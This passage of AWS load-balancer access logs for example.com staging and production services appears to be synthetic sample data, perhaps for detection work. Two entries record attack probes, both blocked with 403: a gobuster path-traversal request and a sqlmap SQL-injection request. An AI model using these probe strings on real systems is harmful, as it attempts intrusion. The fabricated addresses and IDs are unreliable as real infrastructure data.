"staging-alb.example.com" "-" 2 2024-11-01T00:27:03.619087Z "forward" "-" "-" "124.190.23.220:80" "404" "-" "-" -https 2024-11-01T00:27:04.681038Z staging-alb 15.70.146.28:24226 110.87.87.91:8080 0.080510 0.629303 0.051317 302 302 971 1784 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bde8-2c18f5d1336b4efba7dde52c" "staging-alb.example.com" "-" 8 2024-11-01T00:27:04.681038Z "forward" "-" "-" "110.87.87.91:8080" "302" "-" "-" -https 2024-11-01T00:27:05.334239Z prod-web-alb 111.176.86.64:60324 10.0.23.41:443 0.099796 0.128924 0.062052 200 200 973 6949 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bde9-817ed54fb33f4fe68bf4d2dc" "prod-web-alb.example.com" "-" 9 2024-11-01T00:27:05.334239Z "forward" "-" "-" "10.0.23.41:443" "200" "-" "-" -https 2024-11-01T00:27:05.689609Z prod-web-alb 243.142.99.238:57787 10.0.13.138:443 0.013199 0.058319 0.059204 200 200 523 12872 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bde9-3e19f5b9bd3948afbcf8f31e" "prod-web-alb.example.com" "-" 6 2024-11-01T00:27:05.689609Z "forward" "-" "-" "10.0.13.138:443" "200" "-" "-" -https 2024-11-01T00:27:05.931049Z prod-api-alb 113.154.192.64:41922 10.0.121.187:443 0.002480 0.316299 0.021099 301 301 382 8695 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bde9-a26a52fec9b64b5d9bb0cf27" "prod-api-alb.example.com" "-" 10 2024-11-01T00:27:05.931049Z "forward" "-" "-" "10.0.121.187:443" "301" "-" "-" -https 2024-11-01T00:27:06.048861Z prod-api-alb 66.0.47.191:11185 10.0.95.89:443 0.072827 0.445204 0.097779 200 200 608 1348 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdea-976eac952bef4c37a9a4a2c0" "prod-api-alb.example.com" "-" 9 2024-11-01T00:27:06.048861Z "forward" "-" "-" "10.0.95.89:443" "200" "-" "-" -https 2024-11-01T00:27:07.255069Z staging-alb 156.54.27.163:61976 84.156.144.100:8080 0.043210 0.400842 0.072356 302 302 935 5454 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdeb-2c5e5832946143f9aa0ebe87" "staging-alb.example.com" "-" 7 2024-11-01T00:27:07.255069Z "forward" "-" "-" "84.156.144.100:8080" "302" "-" "-" -http 2024-11-01T00:27:08.470909Z staging-alb 103.84.99.29:18349 187.48.209.160:443 0.080221 0.211319 0.095088 302 302 214 10582 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdec-38a930dcba214bbe905c2cc6" "staging-alb.example.com" "-" 6 2024-11-01T00:27:08.470909Z "forward" "-" "-" "187.48.209.160:443" "302" "-" "-" -https 2024-11-01T00:27:09.786062Z prod-web-alb 234.247.228.59:39675 10.0.165.162:443 0.079161 0.095289 0.063963 200 200 597 11531 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bded-13b5dffb626c46bba68b88e3" "prod-web-alb.example.com" "-" 3 2024-11-01T00:27:09.786062Z "forward" "-" "-" "10.0.165.162:443" "200" "-" "-" -http 2024-11-01T00:27:11.336732Z staging-alb 140.12.137.27:39896 127.2.91.194:8080 0.060753 0.716255 0.002681 200 200 416 11591 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdef-55a295ab849348baaf82a9d8" "staging-alb.example.com" "-" 7 2024-11-01T00:27:11.336732Z "forward" "-" "-" "127.2.91.194:8080" "200" "-" "-" -https 2024-11-01T00:27:11.489377Z prod-api-alb 141.79.118.198:33432 10.0.115.127:443 0.074008 0.112049 0.012581 200 200 878 13894 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bdef-57eb1c4a940d44939097f4af" "-" "-" 5 2024-11-01T00:27:11.489377Z "forward" "-" "-" "10.0.115.127:443" "200" "-" "-" -https 2024-11-01T00:27:11.747888Z prod-api-alb 107.158.49.58:60784 10.0.70.222:443 0.017390 0.060726 0.027113 200 200 792 2386 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdef-f91af9f97dba4f5685af11f0" "prod-api-alb.example.com" "-" 4 2024-11-01T00:27:11.747888Z "forward" "-" "-" "10.0.70.222:443" "200" "-" "-" -https 2024-11-01T00:27:12.157478Z prod-web-alb 101.139.50.90:43399 10.0.255.246:443 0.019952 0.072977 0.074945 301 301 293 12601 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bdf0-baf1e095ee9742d192f05449" "prod-web-alb.example.com" "-" 0 2024-11-01T00:27:12.157478Z "forward" "-" "-" "10.0.255.246:443" "301" "-" "-" -https 2024-11-01T00:27:13.485872Z prod-api-alb 116.12.210.225:26620 10.0.161.153:443 0.059285 0.489254 0.012614 200 200 26 12503 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdf1-7b956cd65d0745b49f128ac9" "prod-api-alb.example.com" "-" 1 2024-11-01T00:27:13.485872Z "forward" "-" "-" "10.0.161.153:443" "200" "-" "-" -https 2024-11-01T00:27:13.690969Z prod-web-alb 246.89.16.120:41930 10.0.246.1:443 0.039829 0.045952 0.021144 200 200 131 5321 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bdf1-0400942922ec4a598cd980d7" "prod-web-alb.example.com" "-" 4 2024-11-01T00:27:13.690969Z "forward" "-" "-" "10.0.246.1:443" "200" "-" "-" -https 2024-11-01T00:27:14.772443Z staging-alb 97.204.37.198:47181 193.39.156.180:443 0.082426 0.004818 0.128476 200 200 331 12929 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdf2-5cb5e5e68241469f831ff717" "staging-alb.example.com" "-" 5 2024-11-01T00:27:14.772443Z "forward" "-" "-" "193.39.156.180:443" "200" "-" "-" -http 2024-11-01T00:27:15.771315Z staging-alb 5.83.234.96:52750 41.168.134.17:443 0.035420 0.361567 0.097318 200 200 468 7489 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdf3-b369294b438e4d7797adac38" "staging-alb.example.com" "-" 10 2024-11-01T00:27:15.771315Z "forward" "-" "-" "41.168.134.17:443" "200" "-" "-" -https 2024-11-01T00:27:17.629545Z prod-web-alb 81.173.132.72:37181 10.0.245.26:443 0.006593 0.143301 0.040262 200 200 226 6099 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bdf5-7284bf49f2cf44d790aee63f" "prod-web-alb.example.com" "-" 5 2024-11-01T00:27:17.629545Z "forward" "-" "-" "10.0.245.26:443" "200" "-" "-" -http 2024-11-01T00:27:19.339593Z staging-alb 194.83.32.117:15791 33.196.244.51:8080 0.118622 0.374802 0.101810 302 302 933 6689 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdf7-843fc2438fe14db7969083b3" "staging-alb.example.com" "-" 2 2024-11-01T00:27:19.339593Z "forward" "-" "-" "33.196.244.51:8080" "302" "-" "-" -https 2024-11-01T00:27:20.996007Z staging-alb 155.157.174.13:20329 214.210.79.133:443 0.067597 0.472965 0.117051 200 200 636 7122 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdf8-2728879456b54dc8b2f4676a" "staging-alb.example.com" "-" 5 2024-11-01T00:27:20.996007Z "forward" "-" "-" "214.210.79.133:443" "200" "-" "-" -http 2024-11-01T00:27:22.166715Z staging-alb 215.19.66.45:63730 106.159.135.224:8080 0.046873 0.377376 0.128655 200 200 417 6380 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdfa-7c8205cd7c55492fb90c2c71" "staging-alb.example.com" "-" 8 2024-11-01T00:27:22.166715Z "forward" "-" "-" "106.159.135.224:8080" "200" "-" "-" -http 2024-11-01T00:27:22.412200Z staging-alb 86.224.133.3:38644 25.244.120.241:443 0.063817 0.482552 0.119177 404 404 518 4235 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdfa-2e1af5f9bd1843f197201055" "staging-alb.example.com" "-" 4 2024-11-01T00:27:22.412200Z "forward" "-" "-" "25.244.120.241:443" "404" "-" "-" -https 2024-11-01T00:27:22.603104Z prod-api-alb 77.23.165.154:41750 10.0.185.53:443 0.035566 0.126757 0.075792 404 404 132 3579 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdfa-62f72d8224724b12977d03f1" "prod-api-alb.example.com" "-" 8 2024-11-01T00:27:22.603104Z "forward" "-" "-" "10.0.185.53:443" "404" "-" "-" -https 2024-11-01T00:27:24.530832Z prod-web-alb 100.156.165.34:46882 10.0.141.46:443 0.092270 0.425835 0.063597 200 200 19 6415 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bdfc-13246c8c770f4cceba1760e4" "prod-web-alb.example.com" "-" 5 2024-11-01T00:27:24.530832Z "forward" "-" "-" "10.0.141.46:443" "200" "-" "-" -https 2024-11-01T00:27:25.944758Z prod-web-alb 75.83.198.137:41709 10.0.9.151:443 0.012233 0.244717 0.009003 200 200 750 14213 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bdfd-4d912c6050254bcea9f1011c" "prod-web-alb.example.com" "-" 10 2024-11-01T00:27:25.944758Z "forward" "-" "-" "10.0.9.151:443" "200" "-" "-" -https 2024-11-01T00:27:27.359770Z staging-alb 189.225.251.197:63357 54.72.60.72:80 0.022466 0.558096 0.109477 302 302 612 3898 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdff-ade84c10b8934121b8129d95" "staging-alb.example.com" "-" 6 2024-11-01T00:27:27.359770Z "forward" "-" "-" "54.72.60.72:80" "302" "-" "-" -https 2024-11-01T00:27:28.900746Z prod-web-alb 116.94.127.146:45154 10.0.121.175:443 0.066852 0.167782 0.003727 200 200 289 3566 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be00-d4a3880e3e804fb9a6a57cc7" "prod-web-alb.example.com" "-" 3 2024-11-01T00:27:28.900746Z "forward" "-" "-" "10.0.121.175:443" "200" "-" "-" -https 2024-11-01T00:27:30.613394Z prod-api-alb 64.20.196.14:57243 10.0.72.80:443 0.019497 0.127868 0.070987 301 301 525 555 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be02-98d30452c8ae4d90b7e97efa" "prod-api-alb.example.com" "-" 6 2024-11-01T00:27:30.613394Z "forward" "-" "-" "10.0.72.80:443" "301" "-" "-" -https 2024-11-01T00:27:31.010319Z staging-alb 63.235.192.218:30072 221.229.55.107:8080 0.080910 0.318380 0.123320 200 200 816 2232 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be03-bec9a13432b74ed8b6a05cbb" "staging-alb.example.com" "-" 3 2024-11-01T00:27:31.010319Z "forward" "-" "-" "221.229.55.107:8080" "200" "-" "-" -https 2024-11-01T00:27:31.514382Z prod-api-alb 203.122.19.234:53229 10.0.85.96:443 0.084034 0.416840 0.071303 200 200 473 13846 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be03-6e841d2a117c4716b7297ef7" "prod-api-alb.example.com" "-" 1 2024-11-01T00:27:31.514382Z "forward" "-" "-" "10.0.85.96:443" "200" "-" "-" -https 2024-11-01T00:27:33.444304Z staging-alb 186.58.96.131:45551 237.46.52.209:443 0.094200 0.249078 0.080926 200 200 415 7698 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be05-bbb4f5e2c64340a58a152744" "staging-alb.example.com" "-" 3 2024-11-01T00:27:33.444304Z "forward" "-" "-" "237.46.52.209:443" "200" "-" "-" -https 2024-11-01T00:27:34.867550Z staging-alb 72.164.139.167:16088 198.209.219.194:8080 0.106284 0.570010 0.062956 200 200 237 551 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be06-58fbde05ccd84c60abff7178" "staging-alb.example.com" "-" 7 2024-11-01T00:27:34.867550Z "forward" "-" "-" "198.209.219.194:8080" "200" "-" "-" -https 2024-11-01T00:27:36.771003Z prod-api-alb 88.132.91.219:52628 10.0.220.231:443 0.036728 0.330797 0.004518 301 301 932 13242 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be08-76004947f8814ba4919523da" "prod-api-alb.example.com" "-" 6 2024-11-01T00:27:36.771003Z "forward" "-" "-" "10.0.220.231:443" "301" "-" "-" -http 2024-11-01T00:27:37.425669Z staging-alb 151.80.35.214:49804 148.58.170.249:8080 0.142357 0.207273 0.099780 301 301 153 886 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be09-c4afd3a6438444a5ba94ba50" "staging-alb.example.com" "-" 6 2024-11-01T00:27:37.425669Z "forward" "-" "-" "148.58.170.249:8080" "301" "-" "-" -http 2024-11-01T00:27:38.855295Z staging-alb 12.235.184.166:22892 45.125.178.32:80 0.043111 0.551995 0.019794 200 200 355 13691 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be0a-4726f7e708a340508367c80a" "staging-alb.example.com" "-" 1 2024-11-01T00:27:38.855295Z "forward" "-" "-" "45.125.178.32:80" "200" "-" "-" -https 2024-11-01T00:27:39.264667Z staging-alb 47.233.30.35:21204 83.115.76.73:80 0.109508 0.002747 0.043918 200 200 523 11045 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be0b-c72f007d24fb4851a36d0d4f" "staging-alb.example.com" "-" 9 2024-11-01T00:27:39.264667Z "forward" "-" "-" "83.115.76.73:80" "200" "-" "-" -https 2024-11-01T00:27:40.569435Z prod-api-alb 119.14.151.181:37849 10.0.112.117:443 0.020823 0.022039 0.093298 404 404 832 14694 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be0c-de8752f5f3a448a9a0adf6ba" "prod-api-alb.example.com" "-" 7 2024-11-01T00:27:40.569435Z "forward" "-" "-" "10.0.112.117:443" "404" "-" "-" -https 2024-11-01T00:27:41.393784Z prod-web-alb 71.31.47.236:50586 10.0.244.57:443 0.020672 0.342161 0.065132 200 200 507 5436 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be0d-cb6b3586daa043deaa3b5fd6" "prod-web-alb.example.com" "-" 5 2024-11-01T00:27:41.393784Z "forward" "-" "-" "10.0.244.57:443" "200" "-" "-" -https 2024-11-01T00:27:42.857127Z prod-api-alb 71.74.243.26:12060 10.0.177.212:443 0.077436 0.362826 0.022504 200 200 410 14323 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be0e-ed62dcecaef3438aa67d9281" "prod-api-alb.example.com" "-" 9 2024-11-01T00:27:42.857127Z "forward" "-" "-" "10.0.177.212:443" "200" "-" "-" -https 2024-11-01T00:27:43.832241Z prod-web-alb 193.27.228.156:57043 10.0.176.248:443 0.058511 0.131370 0.081988 403 403 424 11925 "GET /static/../../secret HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be0f-d21add6a77b6494d8c6958d2" "-" "-" 0 2024-11-01T00:27:43.832241Z "forward" "-" "-" "10.0.176.248:443" "403" "-" "-" -http 2024-11-01T00:27:45.363228Z staging-alb 190.207.106.160:17195 68.93.26.253:8080 0.065770 0.290890 0.025991 301 301 748 8107 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be11-ce05fb37a1a846adb7d72291" "staging-alb.example.com" "-" 9 2024-11-01T00:27:45.363228Z "forward" "-" "-" "68.93.26.253:8080" "301" "-" "-" -https 2024-11-01T00:27:46.737537Z prod-api-alb 235.31.118.132:18213 10.0.125.153:443 0.049920 0.059770 0.087953 200 200 312 11611 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be12-6af03f4e27a9478bb28d30a1" "prod-api-alb.example.com" "-" 0 2024-11-01T00:27:46.737537Z "forward" "-" "-" "10.0.125.153:443" "200" "-" "-" -https 2024-11-01T00:27:46.858937Z staging-alb 193.27.228.38:59558 137.87.214.207:80 0.023856 0.015700 0.087168 403 403 863 10893 "POST /login?id=1'-- HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be12-e753a32ff07b49beb0193e74" "-" "-" 2 2024-11-01T00:27:46.858937Z "forward" "-" "-" "137.87.214.207:80" "403" "-" "-" -https 2024-11-01T00:27:47.784296Z prod-web-alb 246.187.213.80:51068 10.0.163.198:443 0.001672 0.304551 0.013984 200 200 670 2305 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be13-6a225e3911c8435c8f18206b" "prod-web-alb.example.com" "-" 10 2024-11-01T00:27:47.784296Z "forward" "-" "-" "10.0.163.198:443" "200" "-" "-" -https 2024-11-01T00:27:49.068301Z prod-api-alb 170.187.239.70:14197 10.0.253.137:443 0.056070 0.417317 0.094849 200 200 190 2253 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be15-bfd4f60a56a042dc91b5f0a9" "prod-api-alb.example.com" "-" 10 2024-11-01T00:27:49.068301Z "forward" "-" "-" "10.0.253.137:443" "200" "-" "-" -http 2024-11-01T00:27:50.236005Z staging-alb 219.100.234.107:57637 178.30.214.68:8080 0.039908 0.638067 0.103141 200 200 34 1768 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be16-abfdad97bd814cefa321116a" "staging-alb.example.com" "-" 0 2024-11-01T00:27:50.236005Z "forward" "-" "-" "178.30.214.68:8080" "200" "-" "-" -http 2024-11-01T00:27:51.218297Z staging-alb 52.102.40.98:42402 157.173.0.193:443 0.079855 0.519754 0.061220 200 200 612 14845 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be17-235cd58df0b64802ac5324f2" "staging-alb.example.com" "-" 3 2024-11-01T00:27:51.218297Z "forward" "-" "-" "157.173.0.193:443" "200" "-" "-" -http 2024-11-01T00:27:52.190303Z staging-alb 31.76.126.37:47445 215.169.37.144:80 0.026088 0.479865 0.143185 302 302 465 3284 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be18-18141bfc1e494b8b8cc0e588" "staging-alb.example.com" "-" 8 2024-11-01T00:27:52.190303Z "forward" "-" "-" "215.169.37.144:80" "302" "-" "-" -https 2024-11-01T00:27:53.834420Z prod-web-alb 223.222.92.50:19319 10.0.133.119:443 0.083894 0.496350 0.080705 200 200 719 11157 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 